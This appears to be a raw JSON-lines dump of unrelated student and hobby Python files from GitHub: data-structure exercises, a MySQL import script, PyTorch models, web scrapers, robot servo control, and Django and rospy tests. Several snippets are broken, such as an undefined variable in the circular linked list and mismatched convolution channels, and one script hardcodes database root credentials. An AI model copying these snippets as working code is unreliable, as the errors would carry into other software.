insertAtBeginning(self, data):\n temp = Node(data)\n temp.next = self.start\n self.start.prev = temp\n self.start = temp\n\n def insertBeforeNode(self, z, data):\n temp = Node(data)\n p = self.start\n if p.info == z:\n self.insertAtBeginning(data)\n return\n\n while p.next is not None:\n if p.info == z:\n break\n p = p.next\n if p.info == z:\n temp.next = p\n temp.prev = p.prev\n p.prev.next = temp\n p.prev = temp\n else:\n print(\"Element not found\")\n\n def insertAfterNode(self, z, data):\n temp = Node(data)\n p = self.start\n\n while p.next is not None:\n if p.info == z:\n break\n p = p.next\n if p.info == z:\n temp.prev = p\n if p.next is not None:\n temp.next = p.next\n p.next.prev = temp\n\n else:\n temp.next = None\n p.next = temp\n else:\n print(\"Element not found\")\n\n def deleteFirstNode(self):\n p = self.start\n p = p.next\n p.prev = None\n self.start = p\n\n def deleteLastNode(self):\n p = self.start\n while p.next.next is not None:\n p = p.next\n p.next = None\n\n def deleteAnyNode(self, val):\n p = self.start\n i = 0\n if p.info == val:\n self.deleteFirstNode()\n i += 1\n else:\n while p.next is not None:\n p = p.next\n if p.info == val:\n if p.next is not None:\n p.prev.next = p.next\n p.next.prev = p.prev\n else:\n p.prev.next = None\n i += 1\n return\n if i == 0:\n print(\"Element not found\")\n\n def reverseList(self):\n p1 = self.start\n if p1 is None:\n return\n p2 = self.start.next\n p1.next = None\n p1.prev = p2\n while p2 is not None:\n p2.prev = p2.next\n p2.next = p1\n p1 = p2\n p2 = p2.prev\n self.start = p1\n\n return\n\n def displayList(self):\n p = self.start\n while p is not None:\n print(p.info, end=' ')\n p = p.next\n print(\"\")\n\n\n###########################################################\nlist1 = DoubleLinkedList()\nlist1.createList()\n\nwhile True:\n print(\"1. Display List\")\n print(\"2. Insert in empty list\")\n print(\"3. Insert in the beginning\")\n print(\"4. Insert at end\")\n print(\"5. Insert before a specified node\")\n print(\"6. Insert after a specified node\")\n print(\"7. Delete first node\")\n print(\"8. Delete last node\")\n print(\"9. Delete any node\")\n print(\"10. Reverse the list\")\n print(\"11. Quit\")\n x = int(input(\"Enter the option: \"))\n if x == 1:\n list1.displayList()\n elif x == 2:\n y = int(input(\"Enter the value: \"))\n list1.insertInEmptyList(y)\n elif x == 3:\n y = int(input(\"Enter the value: \"))\n list1.insertAtBeginning(y)\n elif x == 4:\n y = int(input(\"Enter the value: \"))\n list1.insertAtEnd(y)\n elif x == 5:\n y = int(input(\"Enter the value: \"))\n q = int(input(\"Enter the value before which the value is to be inserted: \"))\n list1.insertBeforeNode(q, y)\n elif x == 6:\n y = int(input(\"Enter the value: \"))\n q = int(input(\"Enter the value after which the value is to be inserted: \"))\n list1.insertAfterNode(q, y)\n elif x == 7:\n list1.deleteFirstNode()\n elif x == 8:\n list1.deleteLastNode()\n elif x == 9:\n q = int(input(\"Enter the value of the node which is to be deleted: \"))\n list1.deleteAnyNode(q)\n elif x == 10:\n list1.reverseList()\n elif x == 11:\n break;\n else:\n break;\n","repo_name":"senumulapally/DataStructures","sub_path":"LinkedList/DoublyLL.py","file_name":"DoublyLL.py","file_ext":"py","file_size_in_byte":4818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40836204531","text":"import pymysql\nimport pandas as pd\nfrom pymysql import Error\nclass Movie:\n def __init__(self, path):\n self.path = path\n\n def get_first_item(self, json_str):\n if(json_str == \"[]\"):\n return json_str\n return json_str.replace('[','').replace(']','').split('}')[0] + '}'\n \n\n def insert_movie(self):\n\n try:\n connection = pymysql.connect(\n host='localhost',\n port=3306,\n database='PMRS',\n user='root',\n password='123456',\n # charset=\"utf8\"\n )\n\n if connection:\n print(\"Connected to MySQL database\")\n\n except Error as e:\n print(\"Error while connecting to MySQL\", e)\n\n data = pd.read_csv(self.path, encoding=\"utf-8\")\n\n cursor = connection.cursor(cursor=pymysql.cursors.DictCursor)\n \n # cursor.execute(get_sql)\n # get_df = pd.DataFrame(cursor.fetchall()) # 获取结果转为dataframe\n # print(get_df)\n cnt = 0\n \n\n for row in data.itertuples():\n query = \"INSERT INTO Movie (movieId, movieName, overview, producer, rating, releaseDate, popularity, posterPath, voteCount) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s)\"\n producer = Movie.get_first_item(self, row.production_companies)\n popularity = 0\n if not ':' in row.popularity:\n popularity = row.popularity\n # print(cnt)\n\n values = (row.id, str(row.title), str(row.overview), str(producer), str(row.vote_average),str(row.release_date), str(popularity), str(row.poster_path), str(row.vote_count))\n cursor.execute(query, values)\n cnt += 1\n\n if cnt % 1000 == 0:\n connection.commit()\n print(\"commit \" + str(cnt) + \" records\")\n\n connection.commit()\n print(\"commit\" + str(cnt) + \"lines\") \n cursor.close()\n connection.close()\n \n\n\n\nif __name__ == \"__main__\":\n movie = Movie(\"/Users/jackwu/Desktop/HKU/Project/movies_metadata.csv\")\n movie.insert_movie()","repo_name":"movieRecommendHKU/movierecomment-backend","sub_path":"movie/src/main/resources/Script/Movie.py","file_name":"Movie.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"74349241971","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass SimpleCov(nn.Module):\n def __init__(self):\n super().__init__()\n self.pool = nn.MaxPool2d(2, 2)\n self.conv1 = nn.Conv1d(5, 128, 3)\n self.conv2 = nn.Conv1d(64, 64, 3)\n # an affine operation: y = Wx + b\n self.flatten = nn.Flatten()\n self.fc1 = nn.Linear(64, 120) # 5*15 from info dimension\n self.fc2 = nn.Linear(120, 84)\n self.fc3 = nn.Linear(84, 1)\n\n def forward(self, x):\n x = self.pool(F.relu(self.conv1(x)))\n x = self.pool(F.relu(self.conv2(x)))\n x = self.flatten(x)\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\n\nclass SimpleFull(nn.Module):\n def __init__(self):\n super().__init__()\n self.fc1 = nn.Linear(75, 225)\n self.fc2 = nn.Linear(225, 84)\n self.fc3 = nn.Linear(84, 1)\n\n def forward(self, x):\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\n\ndef get_optim(net: nn.Module, lr):\n return torch.optim.Adam(net.parameters(), lr)\n\n\nclass FullNet(nn.Module):\n def __init__(self):\n super().__init__()\n self.fc1 = nn.Linear(11644, 5822)\n self.fc2 = nn.Linear(5822, 2911)\n self.fc3 = nn.Linear(2911, 1455)\n self.fc4 = nn.Linear(1455, 800)\n self.fc5 = nn.Linear(800, 400)\n self.fc6 = nn.Linear(400, 200)\n self.fc7 = nn.Linear(200, 1)\n\n def forward(self, x):\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = F.relu(self.fc3(x))\n\n x = F.relu(self.fc4(x))\n x = F.relu(self.fc5(x))\n x = F.relu(self.fc6(x))\n x = self.fc7(x)\n return x\n\n\nclass LargeNet(nn.Module):\n def __init__(self):\n super().__init__()\n self.fc1 = nn.Linear(11644, 7762)\n self.fc2 = nn.Linear(7762, 5174)\n self.fc3 = nn.Linear(5174, 3449)\n self.fc4 = nn.Linear(3449, 2229)\n self.fc5 = nn.Linear(2229, 1532)\n self.fc6 = nn.Linear(1532, 1021)\n self.fc7 = nn.Linear(1021, 500)\n self.fc8 = nn.Linear(500, 250)\n self.fc9 = nn.Linear(250, 125)\n self.fc10 = nn.Linear(125, 10)\n self.fc11 = nn.Linear(10, 1)\n\n def forward(self, x):\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = F.relu(self.fc3(x))\n x = F.relu(self.fc4(x))\n x = F.relu(self.fc5(x))\n x = F.relu(self.fc6(x))\n x = F.relu(self.fc7(x))\n x = F.relu(self.fc8(x))\n x = F.relu(self.fc9(x))\n x = F.relu(self.fc10(x))\n x = F.relu(self.fc11(x))\n return x\n\n\nclass SmallFullNet(nn.Module):\n def __init__(self):\n super().__init__()\n self.fc1 = nn.Linear(11644, 2000)\n self.fc2 = nn.Linear(2000, 1000)\n self.fc4 = nn.Linear(1000, 400)\n self.fc5 = nn.Linear(400, 100)\n self.fc6 = nn.Linear(100, 50)\n self.fc7 = nn.Linear(50, 1)\n\n def forward(self, x):\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = F.relu(self.fc4(x))\n x = F.relu(self.fc5(x))\n x = F.relu(self.fc6(x))\n x = self.fc7(x)\n return x\n\n\nclass SmallFullNetWithDropout(nn.Module):\n def __init__(self):\n super().__init__()\n self.fc1 = nn.Linear(11644, 2911)\n self.d1 = nn.Dropout(p=0.2)\n self.fc4 = nn.Linear(2911, 800)\n self.d2 = nn.Dropout(p=0.2)\n self.fc5 = nn.Linear(800, 400)\n self.fc6 = nn.Linear(400, 200)\n self.fc7 = nn.Linear(200, 1)\n\n def forward(self, x):\n x = F.relu(self.fc1(x))\n x = self.d1(x)\n x = F.relu(self.fc4(x))\n self.d2(x)\n x = F.relu(self.fc5(x))\n x = F.relu(self.fc6(x))\n x = F.relu(self.fc7(x))\n return x\n","repo_name":"LiuJiang20/douDiZhuAI","sub_path":"neural_nets.py","file_name":"neural_nets.py","file_ext":"py","file_size_in_byte":3848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21386082018","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nimport pandas as pd\r\nimport re\r\nimport unicodedata\r\nimport os\r\n\r\n\r\nurl = \"http://base-donnees-publique.medicaments.gouv.fr/index.php\"\r\ndrugname = \"Levothyroxine\"\r\npath = os.path.dirname(os.path.realpath(__file__))\r\n\r\n\r\ndef extractData(drug):\r\n pattern = r'(\\w+)\\s(\\w+)\\s(\\d{2,})\\s.+,\\s(.+\\s.+)\\t'\r\n regex_name = re.compile(pattern)\r\n return regex_name.findall(drug)[0]\r\n\r\n\r\ndef getDrug(drug):\r\n return extractData(drug.text)\r\n\r\n\r\ndef getDrugsList(url, drog):\r\n params = {'page': 1, 'affliste': 0, 'affNumero': 0, 'isAlphabet': 0,\r\n 'inClauseSubst': 0, 'nomSubstances': None, 'typeRecherche': 0,\r\n 'choixRecherche': 'medicament', 'paginationUsed': 0,\r\n 'txtCaracteres': drog, 'radLibelle': 1,\r\n 'txtCaracteresSub': None, 'radLibelleSub': 4}\r\n res = requests.post(url, data=params)\r\n print(url)\r\n return BeautifulSoup(res.text, \"html.parser\").find(class_=\"result\").find_all(class_=\"standart\")\r\n\r\ndrugs = map(getDrug, getDrugsList(url, drugname))\r\nheader = ['name', 'brand', 'quantity', 'kind']\r\ndf = pd.DataFrame.from_records(drugs,columns=header)\r\ndf.to_csv(path + \"/\" + drugname + \".csv\")\r\n","repo_name":"SkatiRCI/starter-kit-datascience","sub_path":"daphne-pertsekos/lesson 5/exo_cc_lesson5.py","file_name":"exo_cc_lesson5.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"21960356575","text":"from app.main.src.GameManagement.Models import User, GameAction, Offer\n\n\nclass ReportLineToModelsAdapter:\n def __init__(self, columns: list):\n self.user = User()\n self.user.id = str(columns[0])\n self.user.classification = str(columns[1])\n self.game_action = GameAction()\n self.game_action.user = self.user\n self.game_action.name = str(columns[2])\n self.offer = Offer()\n self.offer.user = self.user\n self.offer.action = self.game_action\n self.offer.amount = int(columns[3])\n\n","repo_name":"fabriziomarmitt/dragon-city","sub_path":"app/main/src/DataLoader/Adapters/ReportLineToModelsAdapter.py","file_name":"ReportLineToModelsAdapter.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34951953611","text":"from time import sleep\nfrom logger import debug\nfrom sr_emulator import *\n\ngrab_servo = 1\nturn_servo = 0\nr = None\n\ndef getGrabServo():\n global r\n return r.servos[0][grab_servo]\n\ndef getTurnServo():\n global r\n ios = [r.io[0].input[0].d, r.io[0].input[4].d, r.io[0].input[5].d]\n if (1 in ios):\n return ios.index(1)\n else:\n return 10\n\ndef setGrabServo(position):\n global r\n if position >= 14 and position <= 82:\n r.servos[0][grab_servo] = position\n else:\n debug(\"Invalid servo position\")\n \ndef setTurnServo(position):\n global r\n if position >= 15 and position <= 75:\n if position == 75:\n r.servos[0][turn_servo] = 65 \n wait_for(r.io[0].input[0].query.d) \n\t\t\t\n elif position == 50:\n if r.io[0].input[5].d == 1:\n r.servos[0][turn_servo] = 65\n elif r.io[0].input[0].d == 1:\n r.servos[0][turn_servo] = 8\n wait_for(r.io[0].input[4].query.d)\n\t\t\t\n else:\n r.servos[0][turn_servo] = 8\n wait_for(r.io[0].input[5].query.d)\n\t\t\t\n r.servos[0][turn_servo] = 40\n else:\n debug(\"Invalid servo position\")\n\ndef initServoControl(robot):\n global r\n r = robot\n if getTurnServo() != 0:\n setTurnServo(50)\n \ndef grabTokenLow():\n while True:\n if getTurnServo() != 2:\n setTurnServo(15)\n setGrabServo(13)\n if r.io[0].input[1] == 1:\n setTurnServo(50)\n break\n else:\n setGrabServo(82)\n\ndef grabTokenHigh():\n while True:\n setGrabServo(13)\n if r.io[0].input[1] == 1:\n break\n else:\n setGrabServo(82)\n\n\ndef releaseTokenLow():\n setTurnServo(15)\n setGrabServo(82)\n setTurnServo(50)\n\ndef releaseTokenHigh():\n if r.io[0].input[1].d == 1:\n setGrabServo(82)\n","repo_name":"SpitfireX/SRCore","sub_path":"main/servo_control.py","file_name":"servo_control.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16667582605","text":"import requests\nimport sys\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nimport os\nimport os.path\n###\nimport tkinter as tk\nfrom os import path\nfrom tkinter import *\nimport tkinter.messagebox\n###\nfrom text import notify\n\ndef updateText (now_open, closed):\n canvas.delete(\"text\")\n canvas.create_text(285,450,fill=\"white\",font=\"Arial 20 bold\",text=\"\\n\\n\"+now_open+closed, tag = \"text\")\n\n\ndef courseSearch(emailID, phoneNumber, indexList, driverPath):\n chrome_options = Options()\n chrome_options.add_argument(\"--disable-extensions\")\n chrome_options.add_argument(\"--headless\")\n #driver = webdriver.Chrome(\"chromedriverdir/chromedriver\",options=chrome_options)\n now_open = \"\"\n driver = webdriver.Chrome(driverPath, options = chrome_options)\n #for x in range(1, 2):\n while len(indexList)!=0:\n print(indexList)\n deletions=[]\n closed=\"\"\n for index in indexList:\n index_nospace = index.strip() \n if(index_nospace==\"\"):\n continue\n url = \"https://sis.rutgers.edu/soc/#keyword?keyword=\"+index_nospace+\"&semester=12020&campus=NB&level=U\"\n print(url)\n driver.get(url)\n driver.refresh()\n time.sleep(2)\n html = driver.page_source\n flag = html.find(\"section sectionStatus_open\")\n indexOfClass = html.find(\"courseMetadata.title\")\n endIndex=0\n for x in range(indexOfClass, len(html)):\n if(html[x]=='<'):\n endIndex=x\n break\n className = html[indexOfClass+22:endIndex]\n\n if(flag!=-1):\n flag = True\n else:\n flag = False\n ans = \"\"\n if(flag):\n ans=\"true\"\n else:\n ans=\"false\"\n closed+=index_nospace + \"\\t\" + className + \":\\t\"+ \"Closed\"+\"\\n\\n\"\n\n print(index_nospace+\": \"+className+\" - \"+ans)\n if(flag):\n deletions.append(index)\n now_open += index_nospace + \"\\t\" + className + \":\\t\"+ \"Open\"+\"\\n\\n\"\n notify(emailID, phoneNumber, className, url)\n updateText(now_open, closed)\n canvas.update()\n\n for num in deletions:\n indexList.remove(num)\n \n driver.close()\n driver.quit()\n\n###\n\n \ndef grabData():\n emailID = e1.get()\n phoneNumber = e2.get()\n driverPath = e3.get()\n indexList = e4.get()\n indexListSeparated = indexList.split(\",\")\n if(emailID==\"\" or phoneNumber == \"\" or indexList == \"\" or driverPath==\"\"):\n tkinter.messagebox.showinfo(\"Message\", \"Please Enter All Data\")\n else:\n updateText(\"\", \"\")\n with open(\"save.txt\", \"w\") as f:\n f.write(emailID+\",\"+phoneNumber+\",\"+driverPath+\",\"+indexList) # remember you deleted driver path from here and courseSearch\n courseSearch(emailID, phoneNumber, indexListSeparated, driverPath)\n\n\n\n\nflag = False\ntotalList = \"\"\nif(os.path.isfile(\"save.txt\")):\n flag = True\n with open(\"save.txt\", \"r\") as f:\n totalList = f.read()\n totalList = totalList.split(\",\")\n if(len(totalList)<=1):\n flag=False\n\nroot=tk.Tk()\nroot.resizable(False, False)\nroot.title(\"Rutgers Course Searcher\")\nroot.tk.call('wm', 'iconphoto', root._w, PhotoImage(file='ico.png'))\n\nhheight =root.winfo_screenheight()\nwwidth = root.winfo_screenwidth()\ncanvas = tk.Canvas(root, height=hheight/1.5, width=wwidth/1.5, bg = \"#FF5733\")\ncanvas.pack()\nupdateText(\"\", \"\")\ncanvas.create_text(wwidth/4+125,60, text=\"Rutgers Course Searcher\", anchor=\"center\", fill=\"white\", font = \"Arial 40 bold\")\n\n\ny_increase = 130\n\ncanvas.create_text(75,25+y_increase,fill=\"white\",font=\"Arial 20 bold\",text=\"Enter Email:\")\ne1 = Entry(canvas)\nif(flag):\n e1.insert(END, totalList[0] )\ncanvas.create_window(500, 25+y_increase, window=e1)\n\ncanvas.create_text(117,75+y_increase,fill=\"white\",font=\"Arial 20 bold\",text=\"Enter Phone Number:\")\ne2 = Entry(canvas)\nif(flag):\n e2.insert(END, totalList[1])\ncanvas.create_window(500, 75+y_increase, window=e2)\n\n\ncanvas.create_text(100,125+y_increase,fill=\"white\",font=\"Arial 20 bold\",text=\"Enter Driver Path:\")\ne3 = Entry(canvas)\nif(flag):\n e3.insert(END, totalList[2])\ncanvas.create_window(500, 125+y_increase, window=e3)\n\n#original x, y for \"Enter Indexes text box\" was 190, 175+y. e4 entry original was 500, 175+y_increase\ncanvas.create_text(190,175+y_increase,fill=\"white\",font=\"Arial 20 bold\",text=\"Enter Indexes (separated by comma):\")\ne4 = Entry(canvas, width = 20)\nif(flag):\n placeholder = \"\"\n for item in totalList[2:len(totalList)]:\n placeholder += item +\",\"\n placeholder = placeholder[0:len(placeholder)-1]\n e4.insert(END, placeholder)\ncanvas.create_window(500, 175+y_increase, window=e4)\n\n\nenterData = Button(canvas, text = \"Search Courses\", command = grabData)\nenterData.config(height= 5, width= 13)\ncanvas.create_window(800, 225, window=enterData)\n\n\n\ncanvas.pack()\n\nroot.mainloop()","repo_name":"t-khush/RUCourseSearcher","sub_path":"src/snipe.py","file_name":"snipe.py","file_ext":"py","file_size_in_byte":5067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1493561516","text":"class Node:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass CircularLinkedList:\n\n def __init__(self, node):\n self.root = node\n self.head = Node(None)\n self.tail = Node(None)\n self.head.next = self.tail\n self.tail.next = self.head\n\n def make_linked_list(self, node, parent):\n \"\"\"Write your code here.\"\"\"\n\n newNode = Node(data)\n # Checks if the list is empty.\n if self.head.data is None:\n # If list is empty, both head and tail would point to new node.\n self.head = newNode\n self.tail = newNode\n newNode.next = self.head\n else:\n # tail will point to new node.\n self.tail.next = newNode\n # New node will become new tail.\n self.tail = newNode\n # Since, it is circular linked list tail will point to head.\n self.tail.next = self.head\n\n\n def print_cll(self, node):\n print(node.data)\n if node.next and node.next != self.root:\n self.print_cll(node.next)\n\n\nif __name__ == '__main__':\n Cll = CircularLinkedList(Node(1))\n Cll.make_linked_list(Node(2), Cll.root)\n Cll.make_linked_list(Node(3), Cll.root)\n Cll.make_linked_list(Node(4), Cll.root)\n Cll.make_linked_list(Node(5), Cll.root)\n Cll.make_linked_list(Node(6), Cll.root)\n Cll.make_linked_list(Node(7), Cll.root)\n Cll.make_linked_list(Node(8), Cll.root)\n\n\n # Printing the entire list.\n Cll.print_cll(Cll.root)","repo_name":"Shresti007/DBMS","sub_path":"linked list/Circular_linked_list_boilerplate.py","file_name":"Circular_linked_list_boilerplate.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26418453318","text":"from django.test import TestCase\n\nfrom ..models.note import Note\nfrom ..models.cogitouser import CogitoUser\n\nclass NoteTest(TestCase):\n def setUp(self):\n adam = CogitoUser.objects.create(\n first_name=\"adam\",\n last_name=\"lobler\",\n email=\"adam.lobler@cogito.study\"\n )\n adam.save()\n self.user = adam\n\n note = Note.create(\n self.user,\n \"Számítógépes grafika\",\n \"Mi az a vertexbuffer?\"\n )\n note.save()\n self.note = note\n \n def test_upvote(self):\n self.note.upvote(self.user)\n assert self.note.upvotes == 1\n\n def test_unvote(self):\n self.note.unvote(self.user)\n assert self.note.upvotes == 0\n\n def test_add_snippet(self):\n self.note.add_snippet(self.user)\n assert self.note.snippet_set.count() == 1\n\n def test_update(self):\n new_content = \"\"\"Mi az a vertexbuffer?\nA vertex buffer object (VBO) is an OpenGL \\\nfeature that provides methods for uploading\\\n vertex data (position, normal vector, color,\\\n etc.) to the video device for non-immediate-mode\\\n rendering. VBOs offer substantial performance\\\n gains over immediate mode rendering primarily\\\n because the data resides in the video device\\\n memory rather than the system memory and so\\\n it can be rendered directly by the video device.\\\n These are equivalent to vertex buffers in Direct3D.\"\"\"\n \n self.note.update(new_content)\n\n assert self.note.noteversion_set.count() == 2\n assert self.note.text == new_content","repo_name":"adamlobler/Docker-Devops","sub_path":"cogito_backend/notes/tests/note.py","file_name":"note.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"12341061931","text":"import os\nimport sys\nimport struct\nimport unittest\nimport time\n\n# test rospy.names package\nclass TestRospyNames(unittest.TestCase):\n\n def test_scoped_name(self):\n from rospy.exceptions import ROSException\n from rospy.names import scoped_name\n tests = [\n ['/', '/name', 'name'],\n ['/', '/ns/name', 'ns/name'],\n ['/ns', '/ns/name', 'ns/name'], \n ['/ns/node', '/ns/name', 'name'], \n ['/ns/', '/ns/name', 'ns/name'], \n ['/ns/ns2/', '/ns/name', 'name'], \n ]\n for caller_id, name, v in tests:\n val = scoped_name(caller_id, name)\n self.assertEquals(v, val, \"failed on [%s] [%s]: %s\"%(caller_id, name, val))\n\n fail = [\n ['name', '/name'],\n ['~name', '/name'],\n ]\n\n for caller_id, name in fail:\n try:\n scoped_name(caller_id, name)\n self.fail(\"should have failed on %s, %s\"%(caller_id, name))\n except ROSException: pass\n\n def test_mappings(self):\n import roslib.names\n import rospy.names\n from rospy.names import get_mappings, get_resolved_mappings, initialize_mappings\n # get_mappings is initialized statically, so can't test anything other than it is empty\n self.assertEquals({}, get_mappings())\n\n # resolved mappings should be empty with no initialization\n self.assertEquals({}, get_resolved_mappings())\n \n # now, initialize mappings, shouldn't matter as there are no mappings\n initialize_mappings('foo')\n # should be empty now\n self.assertEquals({}, get_resolved_mappings())\n\n # manipulate mappings to test\n rospy.names._mappings = roslib.names.load_mappings(['__name:=newname', '__log:=blah', '_param:=value', 'foo:=bar','/baz:=a/b', '~car:=c/d/e'])\n # - param mapping should be removed\n self.assertEquals({'__name': 'newname', '__log': 'blah', \n 'foo': 'bar', '/baz': 'a/b', '~car': 'c/d/e'}, get_mappings())\n # - should be unaltered\n self.assertEquals({}, get_resolved_mappings()) \n initialize_mappings('/name')\n\n # should be unchanged\n self.assertEquals({'__name': 'newname', '__log': 'blah', \n 'foo': 'bar', '/baz': 'a/b', '~car': 'c/d/e'}, get_mappings())\n # should be remapped\n self.assertEquals({'__name': 'newname', '__log': 'blah', \n '/foo': '/bar', '/baz': '/a/b', '/name/car':'/c/d/e'},\n get_resolved_mappings())\n \n # try with namespaced node\n initialize_mappings('/ns/name')\n # should be remapped\n self.assertEquals({'__name': 'newname', '__log': 'blah', \n '/ns/foo': '/ns/bar', '/baz': '/ns/a/b', '/ns/name/car':'/ns/c/d/e'},\n get_resolved_mappings())\n \n \n \n def test_canonicalize_name(self):\n from rospy.names import canonicalize_name\n tests = [\n ('', ''),\n ('/', '/'),\n ('foo', 'foo'), \n ('/foo', '/foo'), \n ('/foo/', '/foo'),\n ('/foo/bar', '/foo/bar'),\n ('/foo/bar/', '/foo/bar'),\n ('/foo/bar//', '/foo/bar'),\n ('/foo//bar', '/foo/bar'),\n ('//foo/bar', '/foo/bar'),\n ('foo/bar', 'foo/bar'),\n ('foo//bar', 'foo/bar'),\n ('foo/bar/', 'foo/bar'),\n ('/foo/bar', '/foo/bar'),\n ]\n for t, v in tests:\n self.assertEquals(v, canonicalize_name(t))\n \n def test_ANYTYPE(self):\n from rospy.names import TOPIC_ANYTYPE, SERVICE_ANYTYPE\n self.assertEquals(\"*\", TOPIC_ANYTYPE)\n self.assertEquals(\"*\", SERVICE_ANYTYPE)\n\n def test_resolve_name(self):\n from rospy.names import resolve_name\n # TODO: test with remappings\n tests = [\n ('', '/', '/'),\n ('', None, '/'), #node_name defaults to /\n ('', '/node', '/'),\n ('', '/ns1/node', '/ns1/'),\n\n ('foo', '', '/foo'),\n ('foo', None, '/foo'),\n ('foo/', '', '/foo'),\n ('/foo', '', '/foo'),\n ('/foo/', '', '/foo'),\n ('/foo', '/', '/foo'),\n ('/foo', None, '/foo'),\n ('/foo/', '/', '/foo'),\n ('/foo', '/bar', '/foo'),\n ('/foo/', '/bar', '/foo'),\n\n ('foo', '/ns1/ns2', '/ns1/foo'),\n ('foo', '/ns1/ns2/', '/ns1/foo'),\n ('foo', '/ns1/ns2/ns3/', '/ns1/ns2/foo'),\n ('foo/', '/ns1/ns2', '/ns1/foo'),\n ('/foo', '/ns1/ns2', '/foo'),\n ('foo/bar', '/ns1/ns2', '/ns1/foo/bar'),\n ('foo//bar', '/ns1/ns2', '/ns1/foo/bar'),\n ('foo/bar', '/ns1/ns2/ns3', '/ns1/ns2/foo/bar'),\n ('foo//bar//', '/ns1/ns2/ns3', '/ns1/ns2/foo/bar'),\n \n ('~foo', '/', '/foo'), \n ('~foo', '/node', '/node/foo'), \n ('~foo', '/ns1/ns2', '/ns1/ns2/foo'), \n ('~foo/', '/ns1/ns2', '/ns1/ns2/foo'), \n ('~foo/bar', '/ns1/ns2', '/ns1/ns2/foo/bar'),\n\n ]\n for name, node_name, v in tests:\n self.assertEquals(v, resolve_name(name, node_name))\n\n def test_valid_name(self):\n # test with resolution\n from rospy.names import valid_name_validator_resolved, valid_name, ParameterInvalid\n validator = valid_name('param_name', True)\n tests = [\n ('name', '/node', '/name'), \n ('/name', '/node', '/name'), \n ('~name', '/node', '/node/name'),\n # test unicode\n (u'~name', '/node', u'/node/name'), \n ]\n for name, caller_id, v in tests:\n self.assertEquals(v, valid_name_validator_resolved('p', name, caller_id), \"failed on %s %s\"%(name, caller_id))\n self.assertEquals(v, validator(name, caller_id))\n\n # kwc: valid_name is currently very soft in the failures it\n # checks as it is targeted at catching parameter\n # misalignment. I would like to make it more strict in the\n # future.\n invalid = [\n (1, '/node'), \n (None, '/node'), \n ('localhost:123', '/node'), \n ('Bob Barker', '/node'),\n # unicode\n (u'Bob Barker', '/node'), \n ]\n for name, caller_id in invalid:\n try:\n valid_name_validator_resolved('p', name, caller_id)\n self.fail(\"valid_name_validator_unresolved should have failed on : [%s], [%s]\"%(name, caller_id))\n except ParameterInvalid: pass\n try:\n validator(name, caller_id)\n self.fail(\"valid_name_validator_unresolved should have failed on : [%s], [%s]\"%(name, caller_id))\n except ParameterInvalid: pass\n\n from rospy.names import valid_name_validator_unresolved\n validator = valid_name('param_name', False)\n tests = [\n ('name', '/node', 'name'), \n ('/name', '/node', '/name'), \n ('~name', '/node', '~name'),\n # unicode\n (u'~name', '/node', u'~name'), \n ]\n for name, caller_id, v in tests:\n self.assertEquals(v, valid_name_validator_unresolved('p', name, caller_id), \"failed on [%s] [%s]\"%(name, caller_id))\n self.assertEquals(v, validator(name, caller_id))\n \n for name, caller_id in invalid:\n try:\n valid_name_validator_unresolved('p', name, caller_id)\n self.fail(\"valid_name_validator_unresolved should have failed on : [%s], [%s]\"%(name, caller_id))\n except ParameterInvalid: pass\n try:\n validator(name, caller_id)\n self.fail(\"valid_name_validator_unresolved should have failed on : [%s], [%s]\"%(name, caller_id))\n except ParameterInvalid: pass\n\n def test_global_name(self):\n from rospy.names import global_name, ParameterInvalid\n validator = global_name('param_name')\n tests = [\n ('/', '/node', '/'), \n ('/name', '/node', '/name'),\n # unicode\n (u'/name', '/node', u'/name'), \n ]\n for name, caller_id, v in tests:\n self.assertEquals(v, validator(name, caller_id))\n invalid = [\n (1, '/node'), \n (None, '/node'), \n ('name', '/node'), \n ('~name', '/node'), \n ]\n for name, caller_id in invalid:\n try:\n validator(name, caller_id)\n self.fail(\"global_name should have failed on : [%s], [%s]\"%(name, caller_id))\n except ParameterInvalid: pass\n\n def test_caller_id(self):\n from rospy.names import get_caller_id, get_name, _set_caller_id, get_namespace\n # test get_name, get_caller_id, and _set_caller_id\n try:\n self.assertEquals('/unnamed', get_name())\n self.assertEquals('/', get_namespace())\n _set_caller_id('/foo')\n self.assertEquals('/foo', get_name())\n self.assertEquals('/', get_namespace())\n _set_caller_id('/foo/bar')\n self.assertEquals('/foo/bar', get_name())\n self.assertEquals('/foo/', get_namespace())\n finally:\n _set_caller_id('/unnamed')\n\n # older get_caller_id usage\n try:\n self.assertEquals('/unnamed', get_caller_id())\n self.assertEquals('/', get_namespace())\n _set_caller_id('/foo')\n self.assertEquals('/foo', get_caller_id())\n self.assertEquals('/', get_namespace())\n _set_caller_id('/foo/bar')\n self.assertEquals('/foo/bar', get_caller_id())\n self.assertEquals('/foo/', get_namespace())\n finally:\n 